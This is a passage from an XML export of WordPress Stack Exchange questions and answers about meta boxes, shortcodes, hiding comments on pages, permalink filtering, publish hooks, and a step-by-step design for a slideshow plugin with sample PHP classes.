then.  I ultimately decided on using the More Fields Plugin to do this instead of my own code and tested it with 5 meta boxes for development, but then when I tried to implement it with the 15 boxes I needed the plugin wreaked havoc on my database tables.  I really don't want another plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm actually looking for someone to just tell me how to code it.  I don't need links to tutorials because I am confident that I have tried them all unless it was published in the last hour or so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some background here was what I was originally trying to do: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1783/help-creating-a-slideshow-custom-post-type-with-custom-meta-boxes&quot;&gt;Help Creating a Slideshow Custom Post Type with Custom Meta Boxes?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EAMann provided me with a very comprehensive answer however it was outside my skill set and I couldn't implement it.  I have simplified my request down to this question here in hopes of finally being done with this.&lt;/p&gt;&#xA;" OwnerUserId="765" LastActivityDate="2011-07-02T05:25:16.900" Title="Multiple Custom Metabox Help" Tags="&lt;custom-post-types&gt;&lt;metabox&gt;" AnswerCount="2" FavoriteCount="3" />
  <row Id="4090" PostTypeId="2" ParentId="4072" CreationDate="2010-11-15T16:20:50.223" Score="4" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_post_thumbnail&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;the_post_thumbnail()&lt;/code&gt;&lt;/a&gt; echos the thumbnail and returns nothing. You probably want to use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_post_thumbnail&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_the_post_thumbnail()&lt;/code&gt;&lt;/a&gt; which returns it as a string. Your code currently is equivalent to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (has_post_thumbnail()) {&#xA;    // Echo the thumbnail&#xA;    the_post_thumbnail();&#xA;    // Apply the filter but do nothing with the result.&#xA;    apply_filters( 'the_content', &quot;[frame_left]&quot;.&quot;[/frame_left]&quot;);&#xA;}&#xA;&#xA;if (has_post_thumbnail()) {&#xA;    // Echo the thumbnail&#xA;    the_post_thumbnail();&#xA;    $thumbnail = '[frame_left]' . '[/frame_left]';&#xA;    // Echo the &amp;lt;span&amp;gt; with an empty content&#xA;    echo do_shortcode(&quot;$thumbnail&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-15T16:20:50.223" CommentCount="4" />
  <row Id="4091" PostTypeId="2" ParentId="4088" CreationDate="2010-11-15T16:32:49.790" Score="2" ViewCount="" Body="&lt;p&gt;I assume you just pass the content of &lt;code&gt;ct_training_group&lt;/code&gt; to another call of &lt;code&gt;do_shortcode()&lt;/code&gt;? You can't pass extra parameters to it, so if you don't want to use global state variables, you could always replace the current shortcode handler for &lt;code&gt;ct_training&lt;/code&gt; with one that doesn't add the extra &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt;. It seems there is no cache for the handlers, so there will not be a performance penalty.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_shortcode('ct_training', 'ct_training_full');&#xA;function ct_training_full($attr, $content)&#xA;{&#xA;    return '&amp;lt;ul&amp;gt;' . ct_training_item($attr, $content) . '&amp;lt;/ul&amp;gt;';&#xA;}&#xA;&#xA;function ct_training_item($attr, $content)&#xA;{&#xA;    return '&amp;lt;li&amp;gt;CT Training&amp;lt;/li&amp;gt;';&#xA;}&#xA;&#xA;add_shortcode('ct_training_group', 'ct_training_group_handler');&#xA;function ct_training_group_handler($attr, $content)&#xA;{&#xA;    $output = '&amp;lt;h3&amp;gt;CT Training group&amp;lt;/h3&amp;gt;';&#xA;    $output .= '&amp;lt;ul&amp;gt;';&#xA;    // Redefine the sub-code&#xA;    add_shortcode('ct_training', 'ct_training_item');&#xA;    $output .= do_shortcode($content);&#xA;    // Reset the sub-code&#xA;    add_shortcode('ct_training', 'ct_training_full');&#xA;    $output .= '&amp;lt;/ul&amp;gt;';&#xA;    return $output;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-15T16:32:49.790" CommentCount="2" />
  <row Id="4092" PostTypeId="1" CreationDate="2010-11-15T16:51:53.223" Score="1" ViewCount="1341" Body="&lt;p&gt;How to remove comment section from page only , not from posts pages?&lt;/p&gt;&#xA;" OwnerUserId="32" LastActivityDate="2011-04-13T10:33:23.670" Title="How to remove comment section from page only , not from posts pages?" Tags="&lt;3.0.1&gt;&lt;comments&gt;" AnswerCount="4" />
  <row Id="4093" PostTypeId="2" ParentId="4092" CreationDate="2010-11-15T17:12:25.980" Score="4" ViewCount="" Body="&lt;p&gt;If you want to display comments and the comment form on posts but not on pages, you need to split up the logic in your template file to call &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/comments_template&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;comments_template()&lt;/code&gt;&lt;/a&gt; depending on the type of the item displayed (post or page). There are two ways to do this: either you keep one template file for both items, and use &lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags#A_PAGE_Page&quot; rel=&quot;nofollow&quot;&gt;conditional tags&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!is_page()) {&#xA;     comments_template();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The other option is to use both a &lt;code&gt;single.php&lt;/code&gt; template file for your posts and a &lt;code&gt;page.php&lt;/code&gt; for your pages (see &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;the Template Hierarchy&lt;/a&gt; for more information). Just leave out the call to &lt;code&gt;comments_template()&lt;/code&gt; in the page template. If there are no other differences between a post and a page layout, one combined template file with conditional tags is probably better for maintainability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to do this &quot;from a distance&quot;, so where the template file already includes a call to &lt;code&gt;comments_template()&lt;/code&gt;, you can create a plugin that hooks into the &lt;code&gt;comments_template&lt;/code&gt; filter and redirects it to an empty file in the directory (well, it could even be the plugin file itself - since it only contains PHP code, it won't display anything - but this will be confusing to others).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('comments_template', 'no_comments_on_page');&#xA;function no_comments_on_page( $file )&#xA;{&#xA;    if ( is_page() ) {&#xA;        $file = dirname( __FILE__ ) . '/empty-file.php';&#xA;    }&#xA;    return $file;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-11-15T18:07:19.457" LastActivityDate="2010-11-15T18:07:19.457" CommentCount="3" />
  <row Id="4094" PostTypeId="2" ParentId="4092" CreationDate="2010-11-15T17:38:33.130" Score="2" ViewCount="" Body="&lt;p&gt;I like a lot this &lt;a href=&quot;http://themes.trac.wordpress.org/browser/hybrid/0.8/comments.php#L14&quot; rel=&quot;nofollow&quot;&gt;snippet from Hybrid theme at start of &lt;code&gt;comments.php&lt;/code&gt; template&lt;/a&gt; that will flexibly disable comments if they are not supported or disabled on per-post/per-page basis:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( !post_type_supports( get_post_type(), 'comments' ) || ( !have_comments() &amp;amp;&amp;amp; !comments_open() &amp;amp;&amp;amp; !pings_open() ) )&#xA;    return;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-15T17:38:33.130" />
  <row Id="4095" PostTypeId="1" AcceptedAnswerId="4096" CreationDate="2010-11-15T18:22:33.120" Score="2" ViewCount="252" Body="&lt;p&gt;Using &lt;code&gt;/%category%/%postname%/&lt;/code&gt; for the permalink I get a URL string of all the categories that the specific post is included in.&#xA;I would like the categories in the url to be filtered down to only one branch of the categories structure, and starting not from the root parent category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a travel blog and I have this category structure:&lt;br&gt;&#xA;&lt;strong&gt;places › countryName › regionName › cityName&lt;/strong&gt;&lt;br&gt;&#xA;ex: &lt;em&gt;www.mytravelblog.com/places/indonesia/java/jakarta/myPostName/&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to skip the root category in the URL or even just use the smallest child&lt;br&gt;&#xA;ex: &lt;em&gt;www.mytravelblog.com/jakarta/myPostName&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible? (WP 3.0.1)&lt;/p&gt;&#xA;" OwnerUserId="967" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-26T12:34:50.277" LastActivityDate="2011-01-26T12:34:50.277" Title="Filtering categories in the permalink structure" Tags="&lt;categories&gt;&lt;permalinks&gt;&lt;url-rewriting&gt;&lt;seo&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="4096" PostTypeId="2" ParentId="4095" CreationDate="2010-11-15T18:47:06.117" Score="1" ViewCount="" Body="&lt;p&gt;This should be possible. First, you're lucky that &lt;code&gt;www.mytravelblog.com/jakarta/myPostName/&lt;/code&gt; already works, it shows you the post and doesn't redirect you to the longer version (at least it seems to work on my side). That means you only have to work on the generated link, and not mess with the way incoming URLs are handled or &quot;canonicalized&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result of &lt;code&gt;get_permalink()&lt;/code&gt;, which you want to modify, is filtered through &lt;code&gt;post_link&lt;/code&gt;. So you can probably do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'post_link', 'remove_parent_cats_from_link', 10, 3 );&#xA;function remove_parent_cats_from_link( $permalink, $post, $leavename )&#xA;{&#xA;    $cats = get_the_category( $post-&amp;gt;ID );&#xA;    if ( $cats ) {&#xA;        // Make sure we use the same start cat as the permalink generator&#xA;        usort( $cats, '_usort_terms_by_ID' ); // order by ID&#xA;        $category = $cats[0]-&amp;gt;slug;&#xA;        if ( $parent = $cats[0]-&amp;gt;parent ) {&#xA;            // If there are parent categories, collect them and replace them in the link&#xA;            $parentcats = get_category_parents( $parent, false, '/', true );&#xA;            // str_replace() is not the best solution if you can have duplicates:&#xA;            // myexamplesite.com/luxemburg/luxemburg/ will be stripped down to myexamplesite.com/&#xA;            // But if you don't expect that, it should work&#xA;            $permalink = str_replace( $parentcats, '', $permalink );&#xA;        }&#xA;    }&#xA;    return $permalink;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-15T18:47:06.117" CommentCount="2" />
  <row Id="4097" PostTypeId="2" ParentId="4089" CreationDate="2010-11-15T19:00:38.893" Score="2" ViewCount="" Body="&lt;p&gt;I know you said you don't want another plug-in but I would recommend checking out &quot;Verve meta boxes&quot; or &quot;Custom Field Templates&quot;, the latter having a lot of options, but verve has a nice drag + drop interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for you datatabse issue, can you elaborate on why you need multiple wysiwyg fields and why this is effecting the database? I have used over 40 custom field on some pages and did not notice any trouble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the slideshow, I did something similar and had to write my own using jquery and query_post types. For instance this shows a random post in the slider for the custom post type called &quot;movies&quot;. You can add in any custom meta values by using get_post_meta.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $rand_posts = query_posts('post_type=movies&amp;amp;posts_per_page=5&amp;amp;orderby=rand');&#xA;foreach($rand_posts as $post) :&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2010-11-15T19:00:38.893" />
  <row Id="4098" PostTypeId="2" ParentId="4095" CreationDate="2010-11-15T19:06:25.563" Score="0" ViewCount="" Body="&lt;p&gt;What do you do if you have same area/town names in different regions/countries? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way is to keep the link but work on the content of the page, depending on the categories. U could use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;foreach((get_the_category()) as $childcat)&#xA;{&#xA;  if (cat_is_ancestor_of($my_cat_id, $childcat))&#xA;  {&#xA;    echo $child = $childcat-&amp;gt;cat_name;&#xA;    //echo $parent = $childcat-&amp;gt;category_parent;&#xA;  }&#xA;} &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1580" LastEditorUserId="1580" LastEditorDisplayName="" LastEditDate="2010-11-15T19:16:48.327" LastActivityDate="2010-11-15T19:16:48.327" CommentCount="1" />
  <row Id="4099" PostTypeId="2" ParentId="4087" CreationDate="2010-11-15T19:07:07.933" Score="3" ViewCount="" Body="&lt;p&gt;The query value parameters can be set to true ( returns single result) or false ( an array).&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_meta&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_post_meta&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance &lt;a href=&quot;http://www.mattvarone.com/wordpress/query-multiple-meta-values/&quot; rel=&quot;nofollow&quot;&gt;http://www.mattvarone.com/wordpress/query-multiple-meta-values/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2010-11-15T19:07:07.933" CommentCount="0" />
  <row Id="4100" PostTypeId="1" AcceptedAnswerId="4101" CreationDate="2010-11-15T19:10:31.057" Score="1" ViewCount="180" Body="&lt;p&gt;I would like to collect main info about post like Title etc. &lt;strong&gt;in moment when post was written and it's going to be published&lt;/strong&gt; and perform some actions on this data. What's the hook for that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1454" LastActivityDate="2010-11-15T22:43:07.643" Title="Getting Post details when post is published" Tags="&lt;plugins&gt;&lt;3.0.1&gt;" AnswerCount="2" />
  <row Id="4101" PostTypeId="2" ParentId="4100" CreationDate="2010-11-15T19:27:00.903" Score="4" ViewCount="" Body="&lt;p&gt;The function is &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/post.php#L2149&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_insert_post()&lt;/code&gt;&lt;/a&gt;, and as you can see there are some hooks you can use to modify data. &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Filter_Reference/wp_insert_post_data&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_insert_post_data&lt;/code&gt;&lt;/a&gt; is a filter that gets all data right before it will be inserted into the database, so you modify it there and don't need to do anything to get it saved. At the end of the function you can see the &lt;a href=&quot;http://adambrown.info/p/wp_hooks/hook/save_post&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;save_post&lt;/code&gt;&lt;/a&gt; action and its equivalent &lt;a href=&quot;http://adambrown.info/p/wp_hooks/hook/wp_insert_post&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_insert_post&lt;/code&gt;&lt;/a&gt;, which are more appropriate if you want to &lt;em&gt;do&lt;/em&gt; something (instead of &lt;em&gt;change&lt;/em&gt; something).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These functions are fired when a post is saved, not only when it is published. For the publish action, look at &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/post.php#L2714&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_transition_post_status()&lt;/code&gt;&lt;/a&gt;, which has three hooks:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;transition_post_status&lt;/code&gt;, called with the new and old statuses, and the post data&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;{$old_status}_to_{$new_status}&lt;/code&gt;, like &lt;code&gt;draft_to_publish&lt;/code&gt;, called with the post data&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;{$new_status}_{$post-&amp;gt;post_type}&lt;/code&gt;, like &lt;code&gt;publish_page&lt;/code&gt;, called with the post ID and post data&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-15T19:27:00.903" CommentCount="1" />
  <row Id="4102" PostTypeId="2" ParentId="4089" CreationDate="2010-11-15T19:43:21.540" Score="15" ViewCount="" Body="&lt;h1&gt;Solve a complex Problem (rationally)&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;To solve complex problems, there is a kind of standardized/well known approach: Divide your complex problem into a set of smaller problems. Smaller problems are easier to solve. If you have solved each smaller problem you most often have solved your complex problem already.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Locate and Divide into Parts&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;So far for the theory. Let's check your needs. I line-up in my own words what you described above:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Handle a set of options in multiple instances (slide-1 to slide-N).&lt;/li&gt;&#xA;&lt;li&gt;Store values in post meta values.&lt;/li&gt;&#xA;&lt;li&gt;A Metabox in multiple instances (slide-1 to slide-N).&lt;/li&gt;&#xA;&lt;li&gt;A Slideshow Editor (Form) within the Metabox (again multiple Instances)&lt;/li&gt;&#xA;&lt;li&gt;A Basic Form to edit the Data (e.g. using simple HTML Form Elements)&lt;/li&gt;&#xA;&lt;li&gt;The technical problem to solve, having multiple WYSIWYG editors.&lt;/li&gt;&#xA;&lt;li&gt;Your more complex Image Input.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So how to code that? I think the most important part is that before you start to actual coding, you make up your mind what you really want to achieve and how to divide the problem into the smaller parts. The list above might not be complete it's just what I could read from your question. And the format is quite unspecific. It's just more or less a repetition from what you wrote but a bit ordered into single points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So check if those are your needs and extend that list to all you see fit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When done, the next step is to look how those needed stuff could be expressed in simple words and as a list of features of your plugin&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A Plugin for this: SlideshowPlugin.&lt;/li&gt;&#xA;&lt;li&gt;A Slideshow that consists of Slides.&lt;/li&gt;&#xA;&lt;li&gt;An Editor to edit a Slideshow.&lt;/li&gt;&#xA;&lt;li&gt;A place to store and retrieve the Slideshow data from.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Looks quite simple now, right? I probably might have missed something here, so double check on your own before you continue. As written, before starting to code just make up your mind in simple wording and terms. Don't even think about which parts are problematic and which are not or how to code some detail like the naming of HTML Input elements. I know that's hard if you already tried for such a long time now to restart from scratch because there are many ideas in your mind's back that come up again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Grab a pencil and some paper. This often helps to make up someone's mind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see I did not specify the need of a Metabox or a Custom Post Type here. It's too specific to learn about the parts of your problem first. Metabox or Custom Post Type is very concrete, possibly something how to code the plugin already. So I kept this out for the moment and tried to short but precisely describe the needs. The Metabox or similar is something which might play a role in the Design. Let's see.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Design your Plugin&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;After you know what you need/want to achieve, you can make up the mind about how to design the plugin. This could be done by drawing a little picture. Just Identify the parts from your Feature List and set them in relation to each other. As you can see, you actually do not need to do fine arts ;) :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/kWd4n.jpg&quot; alt=&quot;design of a slideshow plugin&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Excuse my bad writing, I hope this can be read. In any case, you can create your own image, this is just an example. Designs can vary, so if you would not draw it the same way, that's just normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like to do the beginning of the design step on paper because it helps to get a better view on the problem from above and it's much faster on paper then on the computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now  you could compare your list with your design and check if all features from the list are covered by the parts you have in the design. Looks good so far for my list and my image, so I continue, but don't skip this step. Otherwise you do not know if you have missed something. And as you start to code soon, it's much more hard to change something that's already coded than an image or a list.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Separation of Problems in the Design&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Now this plugin becomes more concrete in ones mind. After some little design, it's probably the right time to start coding. As we have the list on top, I could go through and think about each point on it's own and cross-check with the Design so that I know how the parts are in relationship to each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because if every single part is done, the plugin is ready without making up the mind on the whole thing at once, which was the original problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do the coding now a bit in comment style and some sample code. It's a first implementation idea and the code is untested. It's just to get the hands dirty for me and for you to probably have an example of how - but not must - this can be written. I tend to be too specific sometimes already, so mind me. When I write code, I re-write it quite often while creating it, but I can not make this visible while creating the sample code. So bear this in mind. If you see something to be done simpler, choose your route. You need to change and extend your code later on, so this is really only some example code.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Plugin&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Just a class that handles the basic operation like registering hooks and providing the Slideshow with it's Slides and the Metaboxes for the Editor. This is where everything starts. Plugins are started at a single point of code. I call that bootstrap:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/** Plugin Headers ... */&#xA;&#xA;return SlideshowPlugin::bootstrap(); &#xA;&#xA;class SlideshowPlugin {&#xA;    /** @var Slideshow */&#xA;    private $slideshow;&#xA;    /** @var SlideshowMetaboxes */&#xA;    private $metaboxes;&#xA;    /** @var SlideshowPlugin */&#xA;    static $instance;&#xA;    static public function bootstrap() {&#xA;        $pluginNeeded = (is_admin() &amp;amp;&amp;amp; /* more checks based your needs */ );&#xA;        if (!$pluginNeeded) &#xA;            return;&#xA;        }&#xA;        if (NULL === self::$instance) {&#xA;            // only load the plugin code while it's really needed:&#xA;            require_once('library/Slideshow.php');&#xA;            require_once('library/SlideshowSlide.php');&#xA;            require_once('library/Store.php');&#xA;            require_once('library/Metaboxes.php');&#xA;            require_once('library/Metabox.php');&#xA;            require_once('library/Form.php');&#xA;            // ...&#xA;            self::$instance = new SlideshowPlugin();&#xA;        }&#xA;        return self::$instance;&#xA;    }&#xA;    private function addAction($action, $parameters = 0, $priority = 10) {&#xA;        $callback = array($this, $action);&#xA;        if (!is_callable($callback)) {&#xA;            throw new InvalidArgumentExeception(sprintf('Plugin %s does not supports the %s action.', __CLASS__, $action));&#xA;        }&#xA;        add_action($action, $callback, $parameters, $priority);&#xA;    }&#xA;    public function __construct() {&#xA;        $this-&amp;gt;addAction('admin_init');&#xA;    }&#xA;    /**&#xA;     * @return bool&#xA;     */&#xA;    private function isEditorRequest() {&#xA;        // return if or not the request is the editor page&#xA;    }&#xA;    /**&#xA;     * @-wp-hook&#xA;     */&#xA;    public function admin_init() {&#xA;        // register anything based on custom post type and location in the admin.&#xA;        // I don't care about the details with CPT right now.&#xA;        // It's just that editorAction is called when we're on the slideshow&#xA;        // editor page:&#xA;        if ($this-&amp;gt;isEditorRequest()) {&#xA;            $this-&amp;gt;editorAction();&#xA;        }&#xA;    }&#xA;    private function getPostID() {&#xA;        // ... code goes here to get post id for request &#xA;        return $postID;&#xA;    }&#xA;    private function getSlideshow() {&#xA;        is_null($this-&amp;gt;slideshow)&#xA;            &amp;amp;&amp;amp; ($postID = $this-&amp;gt;getPostID())&#xA;            &amp;amp;&amp;amp; $slideshow = new Slideshow($postID)&#xA;            ;&#xA;        return $slideshow;&#xA;    }&#xA;    private function getMetaboxes() {&#xA;        is_null($this-&amp;gt;metaboxes) &#xA;            &amp;amp;&amp;amp; ($slideshow = $this-&amp;gt;getSlideshow())&#xA;            &amp;amp;&amp;amp; $this-&amp;gt;metaboxes = new SlideshowMetaboxes($slideshow)&#xA;            ;&#xA;        return $this-&amp;gt;metaboxes;&#xA;    }&#xA;    private function editorAction() {&#xA;        $metaboxes = $this-&amp;gt;getMetaboxes();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So this plugin class is already quite complete. I did not specify how to retrieve the postID but it's already encapsulated in a function on it's own. Next to that I did not code to check whether or not this is the right page to display the editor, but there's already some stub code for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end, the editorAction() is called if the request is on the actual custom post type editor page and in there, the Metaboxes are aquired. That's it. Plugin should be pretty complete now. It has the slideshow and takes care of the Metaboxes. Compared with the design, those are the parts which are linked with the plugin. Compare with the image:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The decision whether or not the Editor is to be displayed.&lt;/li&gt;&#xA;&lt;li&gt;The connection between the plugin  and the slideshow. The plugin has a slideshow already.&lt;/li&gt;&#xA;&lt;li&gt;The connection to the Metaboxes. The plugin has the Metaboxes already.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Looks complete. Job done on that part.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Slideshow and Slides&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A Slideshow is 1:1 mapped to a post. So it needs to have the Post ID. The Slideshow can take care of holding the data, so it's basically a Datatype. It stores all the values you need there. It's a &lt;em&gt;compound&lt;/em&gt; datatype in the sense that it consist have 0 to N slides. A Slide again is another Datatype that holds the information for each Slide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The slide then is used by a metabox and probably a form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I additionally choosed to implement the storage and retrieval of the slideshow data as well into those datatypes (the box labeled &lt;em&gt;Store&lt;/em&gt; in the design). That's somehow dirty as it mixes datatypes and actual objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as the Store is connected to Slideshow and Slides &lt;em&gt;only&lt;/em&gt; in the Design I connected them with each other. Probably too close for the future, but for a first implementation of the design, I think it's a valid approach for the moment. As this is the first approach it won't take much time after it will get refactored anyway so even with some issues I'm quite confident that the direction is right:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class SlideshowSlide {&#xA;    private $slideshow;&#xA;    private $index;&#xA;    public $number, $hide, $type, $title, $image, $wysiwyg, $embed&#xA;    public function __construct($slideshow, $index) {&#xA;        $this-&amp;gt;slideshow = $slideshow;&#xA;        $this-&amp;gt;index = $index;&#xA;    }&#xA;    public function getSlideshow() { return $this-&amp;gt;slideshow; }&#xA;    public function getIndex() { return $this-&amp;gt;index; }&#xA;}&#xA;&#xA;class Slideshow implements Countable, OuterIterator {&#xA;    private $postID;&#xA;    private $slides = array();&#xA;    private function loadSlidesCount() {&#xA;        $postID = $this-&amp;gt;postID;&#xA;        // implement the loading of the count of slides here&#xA;    }&#xA;    private function loadSlide($index) {&#xA;        $postID = $this-&amp;gt;postID;&#xA;        // implement the loading of slide data here&#xA;        $data = ... ;&#xA;        $slide = new SlideshowSlide($this, $index);&#xA;        $slide-&amp;gt;setData($data); // however this is done.&#xA;        return $slide;            &#xA;    }&#xA;    private function loadSlides() {&#xA;        $count = $this-&amp;gt;loadSlidesCount();&#xA;        $slides = array();&#xA;        $index = 0;&#xA;        while(($index &amp;lt; $count) &amp;amp;&amp;amp; ($slide = $this-&amp;gt;loadSlide($index++)))&#xA;            FALSE === $slide || $slides[] = $slide&#xA;            ;&#xA;        $this-&amp;gt;slides = $slides;&#xA;    }&#xA;    public function __construct($postID) {&#xA;        $this-&amp;gt;postID = $postID;&#xA;        $this-&amp;gt;loadSlides();&#xA;    }&#xA;    public function count() {&#xA;        return count($this-&amp;gt;slides);&#xA;    }&#xA;    public function getInnerIterator() {&#xA;        return new ArrayIterator($this-&amp;gt;slides);&#xA;    }&#xA;    private function touchIndex($index) {&#xA;        $index = (int) $index;&#xA;        if ($index &amp;lt; 0 || $index &amp;gt;= count($this-&amp;gt;slides) {&#xA;            throw new InvalidArgumentExpression(sprintf('Invalid index %d.', $index));&#xA;        }&#xA;        return $index;&#xA;    }&#xA;    public function getSlide($index) {&#xA;        $index = $this-&amp;gt;touchIndex($index);&#xA;        return $this-&amp;gt;slides[$index];&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Slideshow and Slide classes are also quite complete but lacks actual code as well. It's just to show my idea of having the properties / methods and some handling stuff as well on how the retrieval of data could be implemented.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Metabox&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The Metabox needs to know which Slide it represents. So it needs to know the Slideshow and the concrete Slide. The Slideshow can be provided by the Plugin, the Slide could be represented by the index (e.g. 0 ... N where N is count of slides in the slideshow - 1).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Metabox {&#xA;    public function __construct(SlideshowSlide $slide) {&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Metabox class is actually extending the plugin class somehow. It does some of the work that could be done by the plugin class as well, but as I wanted to have it represent the slide in context of the plugin while being able to have multiple instances, I choosed this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Metabox now needs to take care of the request logic: It represents one Metabox which is actually somehow output but it's also input as it needs to deal with form input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The good thing is, it actually does not deal with the details because form output and input are done by the form objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So probably if I would have coded this class to an end, I would have removed it completely. I don't know right now. For the moment it represents the Metabox on the editor page for one specific 